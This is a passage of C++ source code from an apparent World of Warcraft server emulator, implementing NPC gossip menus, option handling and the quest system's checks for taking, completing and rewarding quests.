if (itr->second.cond_3 && !sObjectMgr.IsPlayerMeetToCondition(this, itr->second.cond_3))
{
if (itr->second.option_id == GOSSIP_OPTION_QUESTGIVER)
canSeeQuests = false;
continue;
}
}
if (pSource->GetTypeId() == TYPEID_UNIT)
{
Creature *pCreature = (Creature*)pSource;
uint32 npcflags = pCreature->GetUInt32Value(UNIT_NPC_FLAGS);
if (!(itr->second.npc_option_npcflag & npcflags))
continue;
switch(itr->second.option_id)
{
case GOSSIP_OPTION_GOSSIP:
if (itr->second.action_menu_id != 0) // has sub menu (or close gossip), so do not "talk" with this NPC yet
canTalkToCredit = false;
break;
case GOSSIP_OPTION_QUESTGIVER:
hasMenuItem = false;
break;
case GOSSIP_OPTION_ARMORER:
hasMenuItem = false; // added in special mode
break;
case GOSSIP_OPTION_SPIRITHEALER:
if (!isDead())
hasMenuItem = false;
break;
case GOSSIP_OPTION_VENDOR:
{
VendorItemData const* vItems = pCreature->GetVendorItems();
VendorItemData const* tItems = pCreature->GetVendorTemplateItems();
if ((!vItems || vItems->Empty()) && (!tItems || tItems->Empty()))
{
sLog.outErrorDb("Creature %u (Entry: %u) have UNIT_NPC_FLAG_VENDOR but have empty trading item list.", pCreature->GetGUIDLow(), pCreature->GetEntry());
hasMenuItem = false;
}
break;
}
case GOSSIP_OPTION_TRAINER:
// pet trainers not have spells in fact now
/* FIXME: gossip menu with single unlearn pet talents option not show by some reason
if (pCreature->GetCreatureInfo()->trainer_type == TRAINER_TYPE_PETS)
hasMenuItem = false;
else */
if (!pCreature->IsTrainerOf(this, false))
hasMenuItem = false;
break;
case GOSSIP_OPTION_UNLEARNTALENTS:
if (!pCreature->CanTrainAndResetTalentsOf(this))
hasMenuItem = false;
break;
case GOSSIP_OPTION_UNLEARNPETSKILLS:
if (pCreature->GetCreatureInfo()->trainer_type != TRAINER_TYPE_PETS || pCreature->GetCreatureInfo()->trainer_class != CLASS_HUNTER)
hasMenuItem = false;
else if (Pet * pet = GetPet())
{
if (pet->getPetType() != HUNTER_PET || pet->m_spells.size() <= 1)
hasMenuItem = false;
}
else
hasMenuItem = false;
break;
case GOSSIP_OPTION_TAXIVENDOR:
if (GetSession()->SendLearnNewTaxiNode(pCreature))
return;
break;
case GOSSIP_OPTION_BATTLEFIELD:
if (!pCreature->CanInteractWithBattleMaster(this, false))
hasMenuItem = false;
break;
case GOSSIP_OPTION_STABLEPET:
if (getClass() != CLASS_HUNTER)
hasMenuItem = false;
break;
case GOSSIP_OPTION_SPIRITGUIDE:
case GOSSIP_OPTION_INNKEEPER:
case GOSSIP_OPTION_BANKER:
case GOSSIP_OPTION_PETITIONER:
case GOSSIP_OPTION_TABARDDESIGNER:
case GOSSIP_OPTION_AUCTIONEER:
case GOSSIP_OPTION_MAILBOX:
break; // no checks
default:
sLog.outErrorDb("Creature entry %u have unknown gossip option %u for menu %u", pCreature->GetEntry(), itr->second.option_id, itr->second.menu_id);
hasMenuItem = false;
break;
}
}
else if (pSource->GetTypeId() == TYPEID_GAMEOBJECT)
{
GameObject *pGo = (GameObject*)pSource;
switch(itr->second.option_id)
{
case GOSSIP_OPTION_QUESTGIVER:
hasMenuItem = false;
break;
case GOSSIP_OPTION_GOSSIP:
if (pGo->GetGoType() != GAMEOBJECT_TYPE_QUESTGIVER && pGo->GetGoType() != GAMEOBJECT_TYPE_GOOBER)
hasMenuItem = false;
break;
default:
hasMenuItem = false;
break;
}
}
if (hasMenuItem)
{
std::string strOptionText = itr->second.option_text;
std::string strBoxText = itr->second.box_text;
int loc_idx = GetSession()->GetSessionDbLocaleIndex();
if (loc_idx >= 0)
{
uint32 idxEntry = MAKE_PAIR32(menuId, itr->second.id);
if (GossipMenuItemsLocale const *no = sObjectMgr.GetGossipMenuItemsLocale(idxEntry))
{
if (no->OptionText.size() > (size_t)loc_idx && !no->OptionText[loc_idx].empty())
strOptionText = no->OptionText[loc_idx];
if (no->BoxText.size() > (size_t)loc_idx && !no->BoxText[loc_idx].empty())
strBoxText = no->BoxText[loc_idx];
}
}
pMenu->GetGossipMenu().AddMenuItem(itr->second.option_icon, strOptionText, 0, itr->second.option_id, strBoxText, itr->second.box_money, itr->second.box_coded);
pMenu->GetGossipMenu().AddGossipMenuItemData(itr->second.action_menu_id, itr->second.action_poi_id, itr->second.action_script_id);
}
}
if (canSeeQuests)
PrepareQuestMenu(pSource->GetObjectGuid());
if (canTalkToCredit)
{
if (pSource->HasFlag(UNIT_NPC_FLAGS, UNIT_NPC_FLAG_GOSSIP) && !(((Creature*)pSource)->GetCreatureInfo()->flags_extra & CREATURE_FLAG_EXTRA_NO_TALKTO_CREDIT))
TalkedToCreature(pSource->GetEntry(), pSource->GetObjectGuid());
}
// some gossips aren't handled in normal way ... so we need to do it this way .. TODO: handle it in normal way ;-)
/*if (pMenu->Empty())
{
if (pCreature->HasFlag(UNIT_NPC_FLAGS,UNIT_NPC_FLAG_TRAINER))
{
// output error message if need
pCreature->IsTrainerOf(this, true);
}
if (pCreature->HasFlag(UNIT_NPC_FLAGS,UNIT_NPC_FLAG_BATTLEMASTER))
{
// output error message if need
pCreature->CanInteractWithBattleMaster(this, true);
}
}*/
}
void Player::SendPreparedGossip(WorldObject *pSource)
{
if (!pSource)
return;
if (pSource->GetTypeId() == TYPEID_UNIT)
{
// in case no gossip flag and quest menu not empty, open quest menu (client expect gossip menu with this flag)
if (!((Creature*)pSource)->HasFlag(UNIT_NPC_FLAGS,UNIT_NPC_FLAG_GOSSIP) && !PlayerTalkClass->GetQuestMenu().Empty())
{
SendPreparedQuest(pSource->GetObjectGuid());
return;
}
}
else if (pSource->GetTypeId() == TYPEID_GAMEOBJECT)
{
// probably need to find a better way here
if (!PlayerTalkClass->GetGossipMenu().GetMenuId() && !PlayerTalkClass->GetQuestMenu().Empty())
{
SendPreparedQuest(pSource->GetObjectGuid());
return;
}
}
// in case non empty gossip menu (that not included quests list size) show it
// (quest entries from quest menu will be included in list)
uint32 textId = GetGossipTextId(pSource);
if (uint32 menuId = PlayerTalkClass->GetGossipMenu().GetMenuId())
textId = GetGossipTextId(menuId, pSource);
PlayerTalkClass->SendGossipMenu(textId, pSource->GetObjectGuid());
}
void Player::OnGossipSelect(WorldObject* pSource, uint32 gossipListId, uint32 menuId)
{
GossipMenu& gossipmenu = PlayerTalkClass->GetGossipMenu();
if (gossipListId >= gossipmenu.MenuItemCount())
return;
// if not same, then something funky is going on
if (menuId != gossipmenu.GetMenuId())
return;
GossipMenuItem const& menu_item = gossipmenu.GetItem(gossipListId);
uint32 gossipOptionId = menu_item.m_gOptionId;
ObjectGuid guid = pSource->GetObjectGuid();
uint32 moneyTake = menu_item.m_gBoxMoney;
// if this function called and player have money for pay MoneyTake or cheating, proccess both cases
if (moneyTake > 0)
{
if (GetMoney() >= moneyTake)
ModifyMoney(-int32(moneyTake));
else
return; // cheating
}
if (pSource->GetTypeId() == TYPEID_GAMEOBJECT)
{
if (gossipOptionId > GOSSIP_OPTION_QUESTGIVER)
{
sLog.outError("Player guid %u request invalid gossip option for GameObject entry %u", GetGUIDLow(), pSource->GetEntry());
return;
}
}
GossipMenuItemData pMenuData = gossipmenu.GetItemData(gossipListId);
switch (gossipOptionId)
{
case GOSSIP_OPTION_GOSSIP:
{
if (pMenuData.m_gAction_poi)
PlayerTalkClass->SendPointOfInterest(pMenuData.m_gAction_poi);
// send new menu || close gossip || stay at current menu
if (pMenuData.m_gAction_menu > 0)
{
PrepareGossipMenu(pSource, uint32(pMenuData.m_gAction_menu));
SendPreparedGossip(pSource);
}
else if (pMenuData.m_gAction_menu < 0)
{
PlayerTalkClass->CloseGossip();
TalkedToCreature(pSource->GetEntry(), pSource->GetObjectGuid());
}
break;
}
case GOSSIP_OPTION_SPIRITHEALER:
if (isDead())
((Creature*)pSource)->CastSpell(((Creature*)pSource), 17251, true, NULL, NULL, GetObjectGuid());
break;
case GOSSIP_OPTION_QUESTGIVER:
PrepareQuestMenu(guid);
SendPreparedQuest(guid);
break;
case GOSSIP_OPTION_VENDOR:
case GOSSIP_OPTION_ARMORER:
GetSession()->SendListInventory(guid);
break;
case GOSSIP_OPTION_STABLEPET:
GetSession()->SendStablePet(guid);
break;
case GOSSIP_OPTION_TRAINER:
GetSession()->SendTrainerList(guid);
break;
case GOSSIP_OPTION_UNLEARNTALENTS:
PlayerTalkClass->CloseGossip();
SendTalentWipeConfirm(guid);
break;
case GOSSIP_OPTION_UNLEARNPETSKILLS:
PlayerTalkClass->CloseGossip();
SendPetSkillWipeConfirm();
break;
case GOSSIP_OPTION_TAXIVENDOR:
GetSession()->SendTaxiMenu(((Creature*)pSource));
break;
case GOSSIP_OPTION_INNKEEPER:
PlayerTalkClass->CloseGossip();
SetBindPoint(guid);
break;
case GOSSIP_OPTION_BANKER:
GetSession()->SendShowBank(guid);
break;
case GOSSIP_OPTION_PETITIONER:
PlayerTalkClass->CloseGossip();
GetSession()->SendPetitionShowList(guid);
break;
case GOSSIP_OPTION_TABARDDESIGNER:
PlayerTalkClass->CloseGossip();
GetSession()->SendTabardVendorActivate(guid);
break;
case GOSSIP_OPTION_AUCTIONEER:
GetSession()->SendAuctionHello(((Creature*)pSource));
break;
case GOSSIP_OPTION_MAILBOX:
PlayerTalkClass->CloseGossip();
GetSession()->SendShowMailBox(guid);
break;
case GOSSIP_OPTION_SPIRITGUIDE:
PrepareGossipMenu(pSource);
SendPreparedGossip(pSource);
break;
case GOSSIP_OPTION_BATTLEFIELD:
{
BattleGroundTypeId bgTypeId = sBattleGroundMgr.GetBattleMasterBG(pSource->GetEntry());
if (bgTypeId == BATTLEGROUND_TYPE_NONE)
{
sLog.outError("a user (guid %u) requested battlegroundlist from a npc who is no battlemaster", GetGUIDLow());
return;
}
GetSession()->SendBattlegGroundList(guid, bgTypeId);
break;
}
}
if (pMenuData.m_gAction_script)
{
if (pSource->GetTypeId() == TYPEID_UNIT)
GetMap()->ScriptsStart(sGossipScripts, pMenuData.m_gAction_script, pSource, this);
else if (pSource->GetTypeId() == TYPEID_GAMEOBJECT)
GetMap()->ScriptsStart(sGossipScripts, pMenuData.m_gAction_script, this, pSource);
}
}
uint32 Player::GetGossipTextId(WorldObject *pSource)
{
if (!pSource || pSource->GetTypeId() != TYPEID_UNIT)
return DEFAULT_GOSSIP_MESSAGE;
if (uint32 pos = sObjectMgr.GetNpcGossip(((Creature*)pSource)->GetGUIDLow()))
return pos;
return DEFAULT_GOSSIP_MESSAGE;
}
uint32 Player::GetGossipTextId(uint32 menuId, WorldObject* pSource)
{
uint32 textId = DEFAULT_GOSSIP_MESSAGE;
if (!menuId)
return textId;
GossipMenusMapBounds pMenuBounds = sObjectMgr.GetGossipMenusMapBounds(menuId);
for(GossipMenusMap::const_iterator itr = pMenuBounds.first; itr != pMenuBounds.second; ++itr)
{
if (sObjectMgr.IsPlayerMeetToCondition(this, itr->second.cond_1) && sObjectMgr.IsPlayerMeetToCondition(this, itr->second.cond_2))
{
textId = itr->second.text_id;
// Start related script
if (itr->second.script_id)
GetMap()->ScriptsStart(sGossipScripts, itr->second.script_id, this, pSource);
break;
}
}
return textId;
}
uint32 Player::GetDefaultGossipMenuForSource(WorldObject *pSource)
{
if (pSource->GetTypeId() == TYPEID_UNIT)
return ((Creature*)pSource)->GetCreatureInfo()->GossipMenuId;
else if (pSource->GetTypeId() == TYPEID_GAMEOBJECT)
return((GameObject*)pSource)->GetGOInfo()->GetGossipMenuId();
return 0;
}
/*********************************************************/
/*** QUEST SYSTEM ***/
/*********************************************************/
void Player::PrepareQuestMenu(ObjectGuid guid)
{
QuestRelationsMapBounds rbounds;
QuestRelationsMapBounds irbounds;
// pets also can have quests
if (Creature *pCreature = GetMap()->GetAnyTypeCreature(guid))
{
rbounds = sObjectMgr.GetCreatureQuestRelationsMapBounds(pCreature->GetEntry());
irbounds = sObjectMgr.GetCreatureQuestInvolvedRelationsMapBounds(pCreature->GetEntry());
}
else
{
//we should obtain map pointer from GetMap() in 99% of cases. Special case
//only for quests which cast teleport spells on player
Map * _map = IsInWorld() ? GetMap() : sMapMgr.FindMap(GetMapId(), GetInstanceId());
MANGOS_ASSERT(_map);
if (GameObject *pGameObject = _map->GetGameObject(guid))
{
rbounds = sObjectMgr.GetGOQuestRelationsMapBounds(pGameObject->GetEntry());
irbounds = sObjectMgr.GetGOQuestInvolvedRelationsMapBounds(pGameObject->GetEntry());
}
else
return;
}
QuestMenu &qm = PlayerTalkClass->GetQuestMenu();
qm.ClearMenu();
for(QuestRelationsMap::const_iterator itr = irbounds.first; itr != irbounds.second; ++itr)
{
uint32 quest_id = itr->second;
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if (!pQuest || !pQuest->IsActive())
continue;
QuestStatus status = GetQuestStatus(quest_id);
if (status == QUEST_STATUS_COMPLETE && !GetQuestRewardStatus(quest_id))
qm.AddMenuItem(quest_id, 4);
else if (status == QUEST_STATUS_INCOMPLETE)
qm.AddMenuItem(quest_id, 4);
else if (status == QUEST_STATUS_AVAILABLE)
qm.AddMenuItem(quest_id, 2);
}
for(QuestRelationsMap::const_iterator itr = rbounds.first; itr != rbounds.second; ++itr)
{
uint32 quest_id = itr->second;
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if (!pQuest || !pQuest->IsActive())
continue;
QuestStatus status = GetQuestStatus(quest_id);
if (pQuest->IsAutoComplete() && CanTakeQuest(pQuest, false))
qm.AddMenuItem(quest_id, 4);
else if (status == QUEST_STATUS_NONE && CanTakeQuest(pQuest, false))
qm.AddMenuItem(quest_id, 2);
}
}
void Player::SendPreparedQuest(ObjectGuid guid)
{
QuestMenu& questMenu = PlayerTalkClass->GetQuestMenu();
if (questMenu.Empty())
return;
QuestMenuItem const& qmi0 = questMenu.GetItem(0);
uint32 icon = qmi0.m_qIcon;
// single element case
if (questMenu.MenuItemCount() == 1)
{
// Auto open -- maybe also should verify there is no greeting
uint32 quest_id = qmi0.m_qId;
Quest const* pQuest = sObjectMgr.GetQuestTemplate(quest_id);
if (pQuest)
{
if (icon == 4 && !GetQuestRewardStatus(quest_id))
PlayerTalkClass->SendQuestGiverRequestItems(pQuest, guid, CanRewardQuest(pQuest, false), true);
else if (icon == 4)
PlayerTalkClass->SendQuestGiverRequestItems(pQuest, guid, CanRewardQuest(pQuest, false), true);
// Send completable on repeatable and autoCompletable quest if player don't have quest
// TODO: verify if check for !pQuest->IsDaily() is really correct (possibly not)
else if (pQuest->IsAutoComplete() && pQuest->IsRepeatable() && !pQuest->IsDailyOrWeekly())
PlayerTalkClass->SendQuestGiverRequestItems(pQuest, guid, CanCompleteRepeatableQuest(pQuest), true);
else
PlayerTalkClass->SendQuestGiverQuestDetails(pQuest, guid, true);
}
}
// multiply entries
else
{
QEmote qe;
qe._Delay = 0;
qe._Emote = 0;
std::string title = "";
// need pet case for some quests
if (Creature *pCreature = GetMap()->GetAnyTypeCreature(guid))
{
uint32 textid = GetGossipTextId(pCreature);
GossipText const* gossiptext = sObjectMgr.GetGossipText(textid);
if (!gossiptext)
{
qe._Delay = 0; //TEXTEMOTE_MESSAGE; //zyg: player emote
qe._Emote = 0; //TEXTEMOTE_HELLO; //zyg: NPC emote
title = "";
}
else
{
qe = gossiptext->Options[0].Emotes[0];
int loc_idx = GetSession()->GetSessionDbLocaleIndex();
std::string title0 = gossiptext->Options[0].Text_0;
std::string title1 = gossiptext->Options[0].Text_1;
sObjectMgr.GetNpcTextLocaleStrings0(textid, loc_idx, &title0, &title1);
title = !title0.empty() ? title0 : title1;
}
}
PlayerTalkClass->SendQuestGiverQuestList(qe, title, guid);
}
}
bool Player::IsActiveQuest( uint32 quest_id ) const
{
QuestStatusMap::const_iterator itr = mQuestStatus.find(quest_id);
return itr != mQuestStatus.end() && itr->second.m_status != QUEST_STATUS_NONE;
}
bool Player::IsCurrentQuest(uint32 quest_id, uint8 completed_or_not) const
{
QuestStatusMap::const_iterator itr = mQuestStatus.find(quest_id);
if (itr == mQuestStatus.end())
return false;
switch (completed_or_not)
{
case 1:
return itr->second.m_status == QUEST_STATUS_INCOMPLETE;
case 2:
return itr->second.m_status == QUEST_STATUS_COMPLETE && !itr->second.m_rewarded;
default:
return itr->second.m_status == QUEST_STATUS_INCOMPLETE || (itr->second.m_status == QUEST_STATUS_COMPLETE && !itr->second.m_rewarded);
}
}
Quest const* Player::GetNextQuest(ObjectGuid guid, Quest const *pQuest)
{
QuestRelationsMapBounds rbounds;
if (Creature *pCreature = GetMap()->GetAnyTypeCreature(guid))
{
rbounds = sObjectMgr.GetCreatureQuestRelationsMapBounds(pCreature->GetEntry());
}
else
{
//we should obtain map pointer from GetMap() in 99% of cases. Special case
//only for quests which cast teleport spells on player
Map * _map = IsInWorld() ? GetMap() : sMapMgr.FindMap(GetMapId(), GetInstanceId());
MANGOS_ASSERT(_map);
if (GameObject *pGameObject = _map->GetGameObject(guid))
{
rbounds = sObjectMgr.GetGOQuestRelationsMapBounds(pGameObject->GetEntry());
}
else
return NULL;
}
uint32 nextQuestID = pQuest->GetNextQuestInChain();
for(QuestRelationsMap::const_iterator itr = rbounds.first; itr != rbounds.second; ++itr)
{
if (itr->second == nextQuestID)
return sObjectMgr.GetQuestTemplate(nextQuestID);
}
return NULL;
}
bool Player::CanSeeStartQuest(Quest const *pQuest) const
{
if (SatisfyQuestClass(pQuest, false) && SatisfyQuestRace(pQuest, false) && SatisfyQuestSkill(pQuest, false) &&
SatisfyQuestExclusiveGroup(pQuest, false) && SatisfyQuestReputation(pQuest, false) &&
SatisfyQuestPreviousQuest(pQuest, false) && SatisfyQuestNextChain(pQuest, false) &&
SatisfyQuestPrevChain(pQuest, false) && SatisfyQuestDay(pQuest, false) && SatisfyQuestWeek(pQuest, false) &&
SatisfyQuestMonth(pQuest, false) &&
pQuest->IsActive())
{
return int32(getLevel()) + sWorld.getConfig(CONFIG_INT32_QUEST_HIGH_LEVEL_HIDE_DIFF) >= int32(pQuest->GetMinLevel());
}
return false;
}
bool Player::CanTakeQuest(Quest const *pQuest, bool msg) const
{
return SatisfyQuestStatus(pQuest, msg) && SatisfyQuestExclusiveGroup(pQuest, msg) &&
SatisfyQuestClass(pQuest, msg) && SatisfyQuestRace(pQuest, msg) && SatisfyQuestLevel(pQuest, msg) &&
SatisfyQuestSkill(pQuest, msg) && SatisfyQuestReputation(pQuest, msg) &&
SatisfyQuestPreviousQuest(pQuest, msg) && SatisfyQuestTimed(pQuest, msg) &&
SatisfyQuestNextChain(pQuest, msg) && SatisfyQuestPrevChain(pQuest, msg) &&
SatisfyQuestDay(pQuest, msg) && SatisfyQuestWeek(pQuest, msg) && SatisfyQuestMonth(pQuest, msg) &&
pQuest->IsActive();
}
bool Player::CanAddQuest(Quest const *pQuest, bool msg) const
{
if (!SatisfyQuestLog(msg))
return false;
if (!CanGiveQuestSourceItemIfNeed(pQuest))
return false;
return true;
}
bool Player::CanCompleteQuest(uint32 quest_id) const
{
if (!quest_id)
return false;
QuestStatusMap::const_iterator q_itr = mQuestStatus.find(quest_id);
// some quests can be auto taken and auto completed in one step
QuestStatus status = q_itr != mQuestStatus.end() ? q_itr->second.m_status : QUEST_STATUS_NONE;
if (status == QUEST_STATUS_COMPLETE)
return false; // not allow re-complete quest
Quest const* qInfo = sObjectMgr.GetQuestTemplate(quest_id);
if (!qInfo)
return false;
// only used for "flag" quests and not real in-game quests
if (qInfo->HasQuestFlag(QUEST_FLAGS_AUTO_REWARDED))
{
// a few checks, not all "satisfy" is needed
if (SatisfyQuestPreviousQuest(qInfo, false) && SatisfyQuestLevel(qInfo, false) &&
SatisfyQuestSkill(qInfo, false) && SatisfyQuestRace(qInfo, false) && SatisfyQuestClass(qInfo, false))
return true;
return false;
}
// Anti WPE for client command /script CompleteQuest() on quests with AutoComplete flag
if (status == QUEST_STATUS_NONE)
{
for (uint32 i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
{
if (qInfo->ReqItemCount[i] != 0 &&
GetItemCount(qInfo->ReqItemId[i]) < qInfo->ReqItemCount[i])
{
return false;
}
}
}
// auto complete quest
if (qInfo->IsAutoComplete() && CanTakeQuest(qInfo, false))
return true;
if (status != QUEST_STATUS_INCOMPLETE)
return false;
// incomplete quest have status data
QuestStatusData const& q_status = q_itr->second;
if (qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
{
for(int i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
{
if (qInfo->ReqItemCount[i] != 0 && q_status.m_itemcount[i] < qInfo->ReqItemCount[i])
return false;
}
}
if (qInfo->HasSpecialFlag(QuestSpecialFlags(QUEST_SPECIAL_FLAG_KILL_OR_CAST | QUEST_SPECIAL_FLAG_SPEAKTO)))
{
for(int i = 0; i < QUEST_OBJECTIVES_COUNT; ++i)
{
if (qInfo->ReqCreatureOrGOId[i] == 0)
continue;
if (qInfo->ReqCreatureOrGOCount[i] != 0 && q_status.m_creatureOrGOcount[i] < qInfo->ReqCreatureOrGOCount[i])
return false;
}
}
if (qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_EXPLORATION_OR_EVENT) && !q_status.m_explored)
return false;
if (qInfo->HasSpecialFlag(QUEST_SPECIAL_FLAG_TIMED) && q_status.m_timer == 0)
return false;
if (qInfo->GetRewOrReqMoney() < 0)
{
if (GetMoney() < uint32(-qInfo->GetRewOrReqMoney()))
return false;
}
uint32 repFacId = qInfo->GetRepObjectiveFaction();
if (repFacId && GetReputationMgr().GetReputation(repFacId) < qInfo->GetRepObjectiveValue())
return false;
return true;
}
bool Player::CanCompleteRepeatableQuest(Quest const *pQuest) const
{
// Solve problem that player don't have the quest and try complete it.
// if repeatable she must be able to complete event if player don't have it.
// Seem that all repeatable quest are DELIVER Flag so, no need to add more.
if (!CanTakeQuest(pQuest, false))
return false;
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
for(int i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
if (pQuest->ReqItemId[i] && pQuest->ReqItemCount[i] && !HasItemCount(pQuest->ReqItemId[i], pQuest->ReqItemCount[i]))
return false;
if (!CanRewardQuest(pQuest, false))
return false;
return true;
}
bool Player::CanRewardQuest(Quest const *pQuest, bool msg) const
{
// not auto complete quest and not completed quest (only cheating case, then ignore without message)
if (!pQuest->IsAutoComplete() && GetQuestStatus(pQuest->GetQuestId()) != QUEST_STATUS_COMPLETE)
return false;
// daily quest can't be rewarded (25 daily quest already completed)
if (!SatisfyQuestDay(pQuest, true) || !SatisfyQuestWeek(pQuest, true) || !SatisfyQuestMonth(pQuest, true))
return false;
// rewarded and not repeatable quest (only cheating case, then ignore without message)
if (GetQuestRewardStatus(pQuest->GetQuestId()))
return false;
// prevent receive reward with quest items in bank
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
{
for(int i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
{
if (pQuest->ReqItemCount[i] != 0 &&
GetItemCount(pQuest->ReqItemId[i]) < pQuest->ReqItemCount[i])
{
if (msg)
SendEquipError(EQUIP_ERR_ITEM_NOT_FOUND, NULL, NULL, pQuest->ReqItemId[i]);
return false;
}
}
}
// prevent receive reward with low money and GetRewOrReqMoney() < 0
if (pQuest->GetRewOrReqMoney() < 0 && GetMoney() < uint32(-pQuest->GetRewOrReqMoney()))
return false;
return true;
}
bool Player::CanRewardQuest(Quest const *pQuest, uint32 reward, bool msg) const
{
// prevent receive reward with quest items in bank or for not completed quest
if (!CanRewardQuest(pQuest,msg))
return false;
if (pQuest->GetRewChoiceItemsCount() > 0)
{
if (pQuest->RewChoiceItemId[reward])
{
ItemPosCountVec dest;
InventoryResult res = CanStoreNewItem( NULL_BAG, NULL_SLOT, dest, pQuest->RewChoiceItemId[reward], pQuest->RewChoiceItemCount[reward] );
if (res != EQUIP_ERR_OK)
{
SendEquipError(res, NULL, NULL, pQuest->RewChoiceItemId[reward]);
return false;
}
}
}
if (pQuest->GetRewItemsCount() > 0)
{
for (uint32 i = 0; i < pQuest->GetRewItemsCount(); ++i)
{
if (pQuest->RewItemId[i])
{
ItemPosCountVec dest;
InventoryResult res = CanStoreNewItem( NULL_BAG, NULL_SLOT, dest, pQuest->RewItemId[i], pQuest->RewItemCount[i] );
if (res != EQUIP_ERR_OK)
{
SendEquipError(res, NULL, NULL);
return false;
}
}
}
}
return true;
}
void Player::SendPetTameFailure(PetTameFailureReason reason)
{
WorldPacket data(SMSG_PET_TAME_FAILURE, 1);
data << uint8(reason);
GetSession()->SendPacket(&data);
}
void Player::AddQuest( Quest const *pQuest, Object *questGiver )
{
uint16 log_slot = FindQuestSlot( 0 );
MANGOS_ASSERT(log_slot < MAX_QUEST_LOG_SIZE);
uint32 quest_id = pQuest->GetQuestId();
// if not exist then created with set uState==NEW and rewarded=false
QuestStatusData& questStatusData = mQuestStatus[quest_id];
// check for repeatable quests status reset
questStatusData.m_status = QUEST_STATUS_INCOMPLETE;
questStatusData.m_explored = false;
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_DELIVER))
{
for(int i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
questStatusData.m_itemcount[i] = 0;
}
if (pQuest->HasSpecialFlag(QuestSpecialFlags(QUEST_SPECIAL_FLAG_KILL_OR_CAST | QUEST_SPECIAL_FLAG_SPEAKTO)))
{
for(int i = 0; i < QUEST_OBJECTIVES_COUNT; ++i)
questStatusData.m_creatureOrGOcount[i] = 0;
}
if ( pQuest->GetRepObjectiveFaction() )
if (FactionEntry const* factionEntry = sFactionStore.LookupEntry(pQuest->GetRepObjectiveFaction()))
GetReputationMgr().SetVisible(factionEntry);
uint32 qtime = 0;
if (pQuest->HasSpecialFlag(QUEST_SPECIAL_FLAG_TIMED))
{
uint32 limittime = pQuest->GetLimitTime();
// shared timed quest
if (questGiver && questGiver->GetTypeId()==TYPEID_PLAYER)
limittime = ((Player*)questGiver)->getQuestStatusMap()[quest_id].m_timer / IN_MILLISECONDS;
AddTimedQuest( quest_id );
questStatusData.m_timer = limittime * IN_MILLISECONDS;
qtime = static_cast<uint32>(time(NULL)) + limittime;
}
else
questStatusData.m_timer = 0;
SetQuestSlot(log_slot, quest_id, qtime);
if (questStatusData.uState != QUEST_NEW)
questStatusData.uState = QUEST_CHANGED;
// quest accept scripts
if (questGiver)
{
switch (questGiver->GetTypeId())
{
case TYPEID_UNIT:
sScriptMgr.OnQuestAccept(this, (Creature*)questGiver, pQuest);
break;
case TYPEID_ITEM:
case TYPEID_CONTAINER:
sScriptMgr.OnQuestAccept(this, (Item*)questGiver, pQuest);
break;
case TYPEID_GAMEOBJECT:
sScriptMgr.OnQuestAccept(this, (GameObject*)questGiver, pQuest);
break;
}
// starting initial DB quest script
if (pQuest->GetQuestStartScript() != 0)
GetMap()->ScriptsStart(sQuestStartScripts, pQuest->GetQuestStartScript(), questGiver, this);
}
// remove start item if not need
if (questGiver && questGiver->isType(TYPEMASK_ITEM))
{
// destroy not required for quest finish quest starting item
bool notRequiredItem = true;
for(int i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
{
if (pQuest->ReqItemId[i] == questGiver->GetEntry())
{
notRequiredItem = false;
break;
}
}
if (pQuest->GetSrcItemId() == questGiver->GetEntry())
notRequiredItem = false;
if (notRequiredItem)
DestroyItem(((Item*)questGiver)->GetBagSlot(), ((Item*)questGiver)->GetSlot(), true);
}
GiveQuestSourceItemIfNeed(pQuest);
AdjustQuestReqItemCount( pQuest, questStatusData );
// Some spells applied at quest activation
SpellAreaForQuestMapBounds saBounds = sSpellMgr.GetSpellAreaForQuestMapBounds(quest_id,true);
if (saBounds.first != saBounds.second)
{
uint32 zone, area;
GetZoneAndAreaId(zone,area);
for(SpellAreaForAreaMap::const_iterator itr = saBounds.first; itr != saBounds.second; ++itr)
if (itr->second->autocast && itr->second->IsFitToRequirements(this,zone,area))
if (!HasAura(itr->second->spellId, EFFECT_INDEX_0) )
CastSpell(this,itr->second->spellId,true);
}
UpdateForQuestWorldObjects();
}
void Player::CompleteQuest(uint32 quest_id)
{
if (quest_id)
{
SetQuestStatus(quest_id, QUEST_STATUS_COMPLETE);
uint16 log_slot = FindQuestSlot(quest_id);
if (log_slot < MAX_QUEST_LOG_SIZE)
SetQuestSlotState(log_slot, QUEST_STATE_COMPLETE);
if (Quest const* qInfo = sObjectMgr.GetQuestTemplate(quest_id))
{
if (qInfo->HasQuestFlag(QUEST_FLAGS_AUTO_REWARDED))
RewardQuest(qInfo, 0, this, false);
}
}
}
void Player::IncompleteQuest(uint32 quest_id)
{
if (quest_id)
{
SetQuestStatus(quest_id, QUEST_STATUS_INCOMPLETE);
uint16 log_slot = FindQuestSlot( quest_id );
if (log_slot < MAX_QUEST_LOG_SIZE)
RemoveQuestSlotState(log_slot, QUEST_STATE_COMPLETE);
}
}
void Player::RewardQuest(Quest const *pQuest, uint32 reward, Object* questGiver, bool announce)
{
uint32 quest_id = pQuest->GetQuestId();
// Destroy quest items
uint32 srcItemId = pQuest->GetSrcItemId();
uint32 srcItemCount = 0;
if (srcItemId)
{
srcItemCount = pQuest->GetSrcItemCount();
if (!srcItemCount)
srcItemCount = 1;
DestroyItemCount(srcItemId, srcItemCount, true, true);
}
// Destroy requered items
for (uint32 i = 0; i < QUEST_ITEM_OBJECTIVES_COUNT; ++i)
{
uint32 reqItemId = pQuest->ReqItemId[i];
uint32 reqItemCount = pQuest->ReqItemCount[i];
if (reqItemId)
{
if (reqItemId == srcItemId)
reqItemCount -= srcItemCount;
if (reqItemCount)
DestroyItemCount(reqItemId, reqItemCount, true);
}
}
RemoveTimedQuest(quest_id);
if (BattleGround* bg = GetBattleGround())
if (bg->GetTypeID(true) == BATTLEGROUND_AV)
